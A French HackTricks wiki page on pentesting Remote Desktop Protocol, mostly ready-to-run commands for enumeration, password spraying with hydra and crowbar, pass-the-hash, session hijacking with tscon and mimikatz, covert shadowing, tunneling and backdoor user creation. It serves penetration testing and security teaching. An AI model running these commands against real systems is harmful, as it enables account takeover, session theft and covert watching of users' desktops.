3389 - Pentesting RDP

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Informations de base

Développé par Microsoft, le Remote Desktop Protocol (RDP) est conçu pour permettre une connexion via une interface graphique entre des ordinateurs sur un réseau. Pour établir ce type de connexion, l’utilisateur utilise un client RDP, et parallèlement, l’ordinateur distant doit exécuter un serveur RDP. Cette configuration permet le contrôle et l’accès transparents du bureau d’un ordinateur distant, ramenant essentiellement son interface sur l’appareil local de l’utilisateur.

Port par défaut : 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Énumération

Automatique

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Il vérifie le chiffrement disponible et la vulnérabilité DoS (sans provoquer de DoS au service) et obtient des informations NTLM Windows (versions).

Couche de sécurité / Vérifications NLA

RDP peut négocier différentes couches de sécurité (native RDP, TLS ou CredSSP/NLA). Vous pouvez rapidement fingerprint les paramètres côté serveur et déterminer si NLA est requis :

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Faites attention, vous pourriez verrouiller des comptes

Password Spraying

Faites attention, vous pourriez verrouiller des comptes

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Se connecter avec des credentials/hash connus

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Vérifier des identifiants connus contre des services RDP

rdp_check.py d’impacket permet de vérifier si certains identifiants sont valides pour un service RDP :

rdp_check <domain>/<name>:<password>@<IP>

Attaques

Session stealing

Avec SYSTEM permissions vous pouvez accéder à toute session RDP ouverte par n’importe quel utilisateur sans avoir besoin de connaître le mot de passe du propriétaire.

Obtenir les sessions ouvertes :

query user

Accès à la session sélectionnée

tscon <ID> /dest:<SESSIONNAME>

Vous serez maintenant à l’intérieur de la session RDP sélectionnée et vous devrez vous faire passer pour un utilisateur en n’utilisant que des outils et fonctionnalités Windows.

Important: Lorsque vous accédez à une session RDP active, vous déconnecterez l’utilisateur qui l’utilisait.

Vous pourriez récupérer des mots de passe en vidant le processus, mais cette méthode est beaucoup plus rapide et vous permet d’interagir avec les bureaux virtuels de l’utilisateur (mots de passe dans Notepad sans avoir été enregistrés sur le disque, autres sessions RDP ouvertes sur d’autres machines…)

Mimikatz

Vous pourriez aussi utiliser mimikatz pour faire cela:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Si Remote Desktop Services shadowing est activé, vous pouvez voir ou contrôler la session active d’un autre utilisateur (parfois sans son consentement) en utilisant les switches intégrés de mstsc.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Virtual Channel Tunneling

RDP prend en charge les canaux virtuels qui peuvent être exploités pour du pivoting/tunneling au sein d’une session RDP établie. Une option est rdp2tcp (client/server) qui peut multiplexer des redirections TCP sur RDP (fonctionne avec FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

En combinant cette technique avec stickykeys ou utilman vous pourrez accéder à une CMD administrative et à n’importe quelle session RDP à tout moment

You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Si quelqu’un d’un domaine différent ou avec better privileges login via RDP sur le PC où you are an Admin, vous pouvez inject votre beacon dans son RDP session process et agir à sa place :

RDP Sessions Abuse

Ajouter un utilisateur au groupe RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Outils automatiques

AutoRDPwn est un framework post-exploitation créé en Powershell, conçu principalement pour automatiser l’attaque Shadow sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant distant de voir le bureau de sa victime sans son consentement, et même de le contrôler à la demande, en utilisant des outils natifs du système d’exploitation lui-même.

  • EvilRDP

  • Contrôler la souris et le clavier de façon automatisée depuis la ligne de commande

  • Contrôler le presse-papier de façon automatisée depuis la ligne de commande

  • Créer un proxy SOCKS depuis le client qui achemine les communications réseau vers la cible via RDP

  • Exécuter des commandes SHELL et PowerShell arbitraires sur la cible sans téléverser de fichiers

  • Uploader et télécharger des fichiers vers/depuis la cible même lorsque les transferts de fichiers sont désactivés sur la cible

  • SharpRDP

Cet outil permet d’exécuter des commandes dans le RDP de la victime sans nécessiter d’interface graphique.

Commandes automatiques HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Références

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks